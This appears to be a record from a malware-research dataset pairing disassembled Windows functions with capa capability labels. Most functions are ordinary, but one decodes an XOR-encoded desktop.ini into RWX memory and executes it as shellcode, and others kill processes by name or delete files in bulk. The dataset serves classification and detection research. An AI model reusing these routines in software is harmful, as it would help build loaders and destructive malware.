joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423b05
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00423a81
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x423c7d
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x423c7d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x423c2c
jg 0x423b5e
test eax, eax
je 0x423c22
push 1
push 0x1000
call fcn.00414084
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x423b84
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x423c19
push 0x8000
push ebx
call fcn.00411623
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x423bb0
jg 0x423bab
cmp ecx, 0x1000
jb 0x423bb0
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00416d9f
add esp, 0x10
cmp eax, 0xffffffff
je 0x423bf5
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x423bab
jl 0x423bdc
test ecx, ecx
jne 0x423b9d
push dword [ebp - 0xc]
push ebx
call fcn.00411623
push esi
call fcn.004140e1
add esp, 0xc
xor edi, edi
jmp 0x423c8e
cmp byte [edi + 0x24], 0
je 0x423c0c
cmp dword [edi + 0x20], 5
jne 0x423c0c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x423c17
mov edi, dword [edi + 0x18]
jmp 0x423c19
xor edi, edi
push esi
call fcn.004140e1
pop ecx
jmp 0x423c8e
test ecx, ecx
jg 0x423bee
jl 0x423c2c
test eax, eax
jae 0x423bee
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00418aa3
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x423c4f
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x423bee
jmp 0x423c86
push ebx
call fcn.0041cc1f
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x423bee
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x423c8e
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x423c8b
mov edi, dword [edi + 0x18]
jmp 0x423c8e
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00418aa3
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x424a60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x424a8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x424a8d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x8003b3f
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x80043b4], 0x30
mov dword [0x80043bc], 0x8003351
mov dword [0x80043b8], 2
mov dword [0x80043c0], 0
mov dword [0x80043c4], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b82
mov dword [0x80043c8], eax
mov dword [0x80043dc], 0x80041e0
mov dword [0x80043d4], 0xf
mov dword [0x8004102], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043cc], eax
mov dword [0x80043e0], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x800410a], ebp
mov dword [0x80043d0], eax
push 0x80043b4
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x8004434], eax
push 0
push dword [0x8004102]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x800442c], eax
push 1
push dword [0x800442c]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x800442c]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c40
xor edi, edi
lea ebx, [0x80043e4]
jmp 0x8003c58
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c4a
jmp 0x8003c6c
mov eax, dword [0x80043ec]
call fcn.08002ae4
ret
Function at 0x402ff0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x422cb8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x42f6dc]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x42f6dc]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x403144
cmp byte [ebx + 0x45], 0
je 0x403144
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x403050
xor al, al
jmp 0x403146
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], 8
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x403090
cmp dword [esp + 0x2c], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x14]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x2c]
lea edi, [esp + 0x1c]
cmovae edi, dword [esp + 0x1c]
lea esi, [esp + 0x1c]
cmovae esi, dword [esp + 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x4030d1
dec eax
je 0x4030d5
sub eax, 2
je 0x40312b
xor bl, bl
jmp 0x40312d
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp ecx, 0x10
lea eax, [esp + 0x18]
cmovae eax, edx
sub esi, eax
je 0x40310c
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x20]
cmovae eax, edx
push 1
push eax
call fcn.0040c5de
add esp, 0x10
cmp esi, eax
jne 0x4030cd
cmp byte [ebx + 0x45], 0
je 0x40312b
test esi, esi
jne 0x403090
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.00402c60
jmp 0x403090
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x403140
push dword [esp + 0x18]
call fcn.0040b9d9
add esp, 4
mov al, bl
jmp 0x403146
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0040b6df
mov esp, ebp
pop ebp
ret
Function at 0x407870
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5dc
mov eax, dword [0x42f6dc]
xor eax, esp
mov dword [esp + 0x5d8], eax
push ebx
push esi
push edi
mov edi, ecx
push str.http:__
push edi
mov dword [esp + 0x18], edx
call fcn.0040d110
mov esi, eax
add esp, 8
test esi, esi
je 0x4078ac
add esi, 7
jmp 0x4078ae
mov esi, edi
push 0x42af88
push esi
call fcn.0040d110
add esp, 8
test eax, eax
je 0x407981
push 0x42af88
push esi
call fcn.0040d110
sub eax, esi
push eax
push esi
lea eax, [esp + 0x28]
push 0x40
push eax
call fcn.0040ce37
push 0x42af88
push esi
call fcn.0040d110
push eax
lea eax, [esp + 0xfc]
push 0x104
push eax
call fcn.0040b739
add esp, 0x2c
lea eax, [esp + 0x1e0]
push 0
push 1
push 0x400
push eax
lea edx, [esp + 0xe8]
lea ecx, [esp + 0x28]
call fcn.00407170
add esp, 0x10
test al, al
je 0x407981
push ecx
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x1e8]
call fcn.004070b0
add esp, 8
test al, al
je 0x407981
lea eax, [esp + 0x58]
push eax
call fcn.0040d3f8
add esp, 4
mov ebx, eax
push ebx
call fcn.0040ab1f
add esp, 4
mov esi, eax
push 1
push 0
push ebx
push esi
lea edx, [esp + 0xe8]
lea ecx, [esp + 0x28]
call fcn.00407170
add esp, 0x10
test al, al
jne 0x407998
push esi
call fcn.0040b7f1
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x5d8]
xor ecx, esp
call fcn.0040b6df
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x407978
push 0
lea eax, [esp + 0x18]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040b7f1
mov ecx, dword [esp + 0x5e8]
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040b6df
mov esp, ebp
pop ebp
ret
Function at 0x408f30
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x42f6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.004103e0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4093b0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
mov eax, dword [0x42f6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, ecx
push edi
push eax
mov dword [ebp - 0x34c], eax
lea eax, [ebp - 0x108]
push 0x100
push eax
mov esi, edx
call fcn.0040b739
push 0x42b20c
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b78e
push esi
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b78e
add esp, 0x24
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x350], eax
cmp eax, 0xffffffff
je 0x4094c8
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x12
je 0x4094c8
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [ecx]
cmp byte [ebp - 0x31c], 0x2e
je 0x4094ae
push dword [ebp - 0x34c]
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b739
push 0x42a924
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b78e
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b78e
add esp, 0x24
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call edi
lea eax, [ebp - 0x348]
push eax
push dword [ebp - 0x350]
call ebx
call esi
cmp eax, 0x12
jne 0x409450
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b6df
mov esp, ebp
pop ebp
ret

Function at 0x409640
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42f6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x40972a
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
jne 0x40972a
jmp 0x4096b0
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x10c]
lea esp, [esp]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4096e0
test dl, dl
je 0x4096dc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4096e0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4096c0
xor eax, eax
jmp 0x4096e5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40971b
push dword [ebp - 0x128]
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xd
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
je 0x4096b0
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b6df
mov esp, ebp
pop ebp
ret
Function at 0x409740
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x42f6dc]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409778
sub eax, edx
inc eax
push eax
call fcn.0040ab1f
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409792
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040b739
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x409891
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x409891
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4097d8
sub ecx, esi
je 0x40980d
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x4097f3
cmp al, 0x5a
jg 0x4097f3
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409800
sub eax, esi
cmp edx, eax
jb 0x4097e3
lea ecx, [esp + 0x34]
xor edx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409816
sub ecx, esi
je 0x40984d
mov al, byte [esp + edx + 0x34]
cmp al, 0x41
jl 0x409833
cmp al, 0x5a
jg 0x409833
add al, 0x20
mov byte [esp + edx + 0x34], al
lea ecx, [esp + 0x34]
inc edx
lea esi, [ecx + 1]
jmp 0x409840
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409840
sub ecx, esi
cmp edx, ecx
jb 0x409821
mov ecx, edi
lea eax, [esp + 0x34]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409873
test dl, dl
je 0x40986f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409873
add eax, 2
add ecx, 2
test dl, dl
jne 0x409853
xor eax, eax
jmp 0x409878
sbb eax, eax
or eax, 1
test eax, eax
je 0x4098b8
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x4097d1
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040b7f1
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.0040b6df
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040b7f1
mov ecx, dword [esp + 0x140]
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040b6df
mov esp, ebp
pop ebp
ret
Function at 0x4098e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42f6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409913
sub eax, edx
inc eax
push eax
call fcn.0040ab1f
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409930
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040b739
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x409a47
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x409a47
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409980
sub ecx, esi
je 0x4099b3
jmp 0x409990
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x4099a0
cmp al, 0x5a
jg 0x4099a0
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4099a6
sub eax, esi
cmp edx, eax
jb 0x409990
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4099c0
sub ecx, esi
je 0x4099ff
jmp 0x4099d0
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x4099e8
cmp al, 0x5a
jg 0x4099e8
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4099f2
sub ecx, esi
cmp edx, ecx
jb 0x4099d0
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409a27
test dl, dl
je 0x409a23
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409a27
add eax, 2
add ecx, 2
test dl, dl
jne 0x409a07
xor eax, eax
jmp 0x409a2c
sbb eax, eax
or eax, 1
test eax, eax
je 0x409a6b
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x409973
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040b7f1
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b6df
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040b7f1
add esp, 4
push dword [ebp - 0x128]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b6df
mov esp, ebp
pop ebp
ret
Function at 0x41a9bb
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42f6dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0041068a
mov dword [ebp - 0x14], eax
cmp dword [0x432050], edi
jne 0x41aaac
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x41aa39
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41ab8c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x41ab8c
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41ab8c
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x432050], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x432054], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x432058], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x432060], eax
test eax, eax
je 0x41aaa9
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43205c], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41aad1
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41aac4
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x41aae6
push 4
pop eax
jmp 0x41ab8e
cmp dword [ebp - 0x14], edi
je 0x41aae6
push dword [0x432050]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41aacb
mov eax, dword [0x43205c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41ab44
cmp dword [0x432060], esi
je 0x41ab44
push eax
call ebx
push dword [0x432060]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41ab44
test eax, eax
je 0x41ab44
call ecx
test eax, eax
je 0x41ab39
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41ab39
test byte [ebp - 8], 1
jne 0x41ab44
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41ab74
mov eax, dword [0x432054]
cmp eax, esi
je 0x41ab71
push eax
call ebx
test eax, eax
je 0x41ab71
call eax
mov edi, eax
test edi, edi
je 0x41ab71
mov eax, dword [0x432058]
cmp eax, esi
je 0x41ab71
push eax
call ebx
test eax, eax
je 0x41ab71
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x432050]
call ebx
test eax, eax
je 0x41ab8c
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x41ab8e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b6df
leave
ret
Function at 0x41e4e2
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004152d1
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x41e51a
xor eax, eax
jmp 0x41e546
cmp esi, dword [ebp - 4]
je 0x41e543
cmp dword [ebp + 0xc], 0
je 0x41e543
push dword [edi + 0x9c]
call fcn.0041e0f0
push dword [edi + 0x9c]
mov esi, eax
call fcn.00410a34
pop ecx
pop ecx
cmp esi, eax
je 0x41e516
xor eax, eax
inc eax
pop edi
pop esi
leave
ret